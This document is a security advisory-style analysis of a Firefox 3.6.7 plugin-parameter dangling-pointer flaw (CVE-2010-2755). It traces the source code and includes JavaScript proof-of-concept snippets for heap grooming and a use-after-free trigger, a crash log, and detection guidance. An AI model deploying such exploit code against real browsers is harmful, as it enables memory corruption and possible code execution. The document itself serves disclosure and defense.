In-Depth Analysis of Mozilla Firefox Plugin Parameter Array Dangling Pointer Vulnerability (MFSA2010-48 / CVE-2010-2755)

Table of Contents

Introduction

A vulnerability exists in Mozilla Firefox 3.6.7 when handling plugin parameters, which could allow attackers to potentially compromise a vulnerable system via a specially crafted web page.

Tested Versions

The vulnerability was analyzed on Windows XP SP3 with Mozilla Firefox version 3.6.7 (xul.dll version 1.9.2.3846).

Fixed Versions

The vulnerability is fixed in Mozilla Firefox version 3.6.8.

Technical Details

The *"object"* tag is used to include objects such as images, audio, videos, and PDFs. The support for some object types may rely on an external plugin.

Parameters to the object may be given as attributes to the *"object"* tag or using child *"param"* tags. The tags *"data"* and *"src"* are separately.

The function *"nsPluginInstanceOwner::EnsureCachedAttrParamArrays()"* [*firefox-3.6.7.source\mozilla-1.9.2\layout\generic\nsobjectframe.cpp]* is responsible for initializing the parameters.

First, a variable *"mNumCachedAttrs"* is declared and set to 0. This value is used as a parameter counter.

```
3483  // first, we need to find out how much we need to allocate for our
3484  // arrays count up attributes
3485  mNumCachedAttrs = 0;
3486
3487  PRUint32 cattrs = mContent->GetAttrCount();
```

This variable is set to the amount of parameters (including the one given using the <*param*> tag).

```
3578  PRUint32 cparams = ourParams.Count();
3580   if (cparams < 0x0000FFFF)
3581    mNumCachedParams = static_cast<PRUint16>(cparams);
3582   else
3583    mNumCachedParams = 0xFFFF;
```

For compatibility reasons, if the *"src"* parameter is not defined, Firefox will create one and copy the content of the *"data"* parameter.

If the *"src"* parameter is not defined and if the *"data"* parameter is defined, the parameter counter is incremented.

```
3589  PRUint16 numRealAttrs = mNumCachedAttrs;
3590  nsAutoString data;
3591  if (mContent->Tag() == nsGkAtoms::object
// If the src parameter does not exist
3592    && !mContent->HasAttr(kNameSpaceID_None, nsGkAtoms::src)
```

```
        // and if the data parameter exist.
3593    && mContent->GetAttr(kNameSpaceID_None, nsGkAtoms::data, data)) {

          // Add a new parameter.
3594      mNumCachedAttrs++;
3595  }
```

Then, memory is allocated for handling an array of pointers to the arguments' names and values.

```
3602  // now lets make the arrays

3603  mCachedAttrParamNames  = (char **)NS_Alloc(sizeof(char *) *
                                  (mNumCachedAttrs + 1 + mNumCachedParams));

3604  NS_ENSURE_TRUE(mCachedAttrParamNames,  NS_ERROR_OUT_OF_MEMORY);

3605  mCachedAttrParamValues = (char **)NS_Alloc(sizeof(char *) *
                                   (mNumCachedAttrs + 1 + mNumCachedParams));

3606  NS_ENSURE_TRUE(mCachedAttrParamValues, NS_ERROR_OUT_OF_MEMORY);
3607
3608  // let's fill in our attributes
```

Then a variable *"nextAttrParamIndex"* is declared and set to 0. It is used as an index to the parameters' array.

```
3608  // let's fill in our attributes
3609  PRUint32 nextAttrParamIndex = 0;
```

Once done, the array is filled with the parameters defined within the *"<object>"* tag attributes.

```
// For each object attributes except src and data.
3635  for (PRInt32 index = start; index != end; index += increment) {
3636    const nsAttrName* attrName = mContent->GetAttrNameAt(index);
3637    nsIAtom* atom = attrName->LocalName();

[…]

        // Set the pointer of the parameter's name and parameter's value.
3645    mCachedAttrParamNames [nextAttrParamIndex] = ToNewUTF8String(name);
3646    mCachedAttrParamValues[nextAttrParamIndex] = ToNewUTF8String(value);
3647    nextAttrParamIndex++;
3648  }
```

Then, if the *data* parameter is defined, its content is copied to a new *"src"* parameter.

```
3650  // if the conditions above were met, copy the "data" attribute to a "src" array entry
3651  if (data.Length()) {
3652    mCachedAttrParamNames [nextAttrParamIndex] =
                                    ToNewUTF8String(NS_LITERAL_STRING("SRC"));
3653    mCachedAttrParamValues[nextAttrParamIndex] = ToNewUTF8String(data);
3654    nextAttrParamIndex++;
3655  }
```

However, the *data* parameter may be defined and may have an empty content (*data=""*).

As the length of "" is 0, this condition will not be fulfilled. The "*src*" parameter is skipped and the pointers to the parameter's name and value are never set.

Once done, a "*param*" parameter is added.

```
3657  // add our PARAM and null separator
3658  mCachedAttrParamNames [nextAttrParamIndex] =
                              ToNewUTF8String(NS_LITERAL_STRING("PARAM"));
3659  mCachedAttrParamValues[nextAttrParamIndex] = nsnull;
3660   nextAttrParamIndex++;
```

Ultimately, the parameters defined using the child "*<param>*" tags are set.

```
// For each parameters, set the attribute's name and the attribute's value.
3668  for (PRUint16 idx = 0; idx < mNumCachedParams; idx++) {
3669    nsIDOMElement* param = ourParams.ObjectAt(idx);

[…]

3685    mCachedAttrParamNames [nextAttrParamIndex] = ToNewUTF8String(name);
3686    mCachedAttrParamValues[nextAttrParamIndex] = ToNewUTF8String(value);
3687    nextAttrParamIndex++;
3688   }
```

If the "*src*" attribute was previously skipped, the last element of the "*mCachedAttrParamNames*" and "*mCachedAttrParamValues*" are not set. Those are pointers to *UTF8* strings. Depending on memory content where the array was allocated, a memory corruption can occur, potentially leading to arbitrary code execution.

Exploitation

A possible exploitation scenario would be:

- Create an object A in memory with a high exploitation potential (with function pointers for example).
- Create a set of objects which have a reference to object A.
- Free the set of newly created objects.
- Create the "*<object>*" tag adjusting its size so the dangling pointer matches the pointer to the object A in the freed object set.
- Remove the *<object>* tag. This will perform a *free()* on the dangling pointer, therefore on the object A. A use-after-free situation exists now with object A.
- Create a set of objects with a size of the object A and user-controlled values.
- Call the object A and redirect the execution flow

The *<object>* may be created with the following javascript code:

```
/* Create HTML code of give size
   (must be a multiple of 4 and minimum is 0x14. */
function build_dangling_object(size)
{
        // Size should be 0x14 by default.
        var html = '<object id="dangling" type="video/x-ms-wmv" data="">';

        if (size < 0x14) { size = 0x14; }
        size -= 0x14;
        size /= 4;
```

```
        for (var i = 0; i < size ; i++)
        {
            html += '<param name="A" value="A" />';
        }
        html += '</object>';
        return html;
}

/* Create the dangling object with the given size
   (must be a multiple of 4 and >= 0x14) */
function create_dangling_object(size)
{
    var block = document.getElementById("obj");
    block.innerHTML = build_dangling_object(size);
}
```

This code shall create an "*<object>*" with an array of pointers of the size specified as the argument size.

The set of objects can be created the following way:

```
/* Create num_elm objects in the set. */
  for (var i=0; i<num_elm ; i++)
{
    var elm = document.createElement('span');
    elm.setAttribute("type", make_string("\u4141\u4141", repl_size));
    elm.setAttribute("id", String(i));
    box.appendChild(elm);
}
```

When this set is freed, it is time to create the vulnerable <object>:

```
  /* Free all types attributes. */
for (var i=0; i< num_elm ; i++)
{
    elm = document.getElementById(i);
    elm.removeAttribute("type");
}
create_dangling_object(obj_size);
```

When the vulnerable "*<object>*" is created, the associated plug-in (Windows Media Player in this case) is called and will read the plug-in's parameter.

The last argument's pointer should have a value of *0x41414141*.

```
(a5c.a64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5f380753 ebx=02132bb0 ecx=0212f230 edx=41414141 esi=5f37a7f1 edi=41414141
eip=5f34e9a3 esp=0012dc60 ebp=0012dc6c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
npdsplay!unuse_netscape_plugin_Plugin+0x88c3:
5f34e9a3 8a27            mov     ah,byte ptr [edi]         ds:0023:41414141=??
```

If we set a valid memory address (from the stack for example), the plugin should not crash and the memory shall be freed when the "<object>" tag is deleted. It is potentially possible to achieve code execution but our tests have shown that exploitation is unlikey.

Detection

To detect attempts to exploit this vulnerability, you should inspect web pages and watch for *<object>* tags:

- If the there is no *"src"* parameter or attribute
- And if the *"data"* parameter or attribute is set but is empty
    - The page is potentially malicious

Example of a suspicious page:

```
<object type="video/x-ms-wmv" data="">
```

References

VUPEN/ADV-2010-1891:
http://www.vupen.com/english/advisories/2010/1891

MFSA2010-48:
http://www.mozilla.org/security/announce/2010/mfsa2010-48.html

Changelog

2010-08-17: Initial release